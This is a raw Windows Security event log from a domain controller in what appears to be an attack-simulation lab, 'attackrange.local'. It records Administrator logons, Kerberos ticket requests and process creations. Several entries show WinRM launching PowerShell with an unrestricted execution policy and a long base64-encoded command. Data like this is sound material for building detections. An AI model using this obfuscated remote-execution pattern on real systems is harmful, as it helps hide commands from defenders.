	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252964
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252963
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252962
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252961
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1334
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x128c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252960
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x128c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x244
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252959
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1817CB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252958
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1817CB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252957
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252956
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252955
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252954
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x50c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x244
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252953
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Process Information:
	New Process ID:		0x244
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252952
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252951
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252950
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252949
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
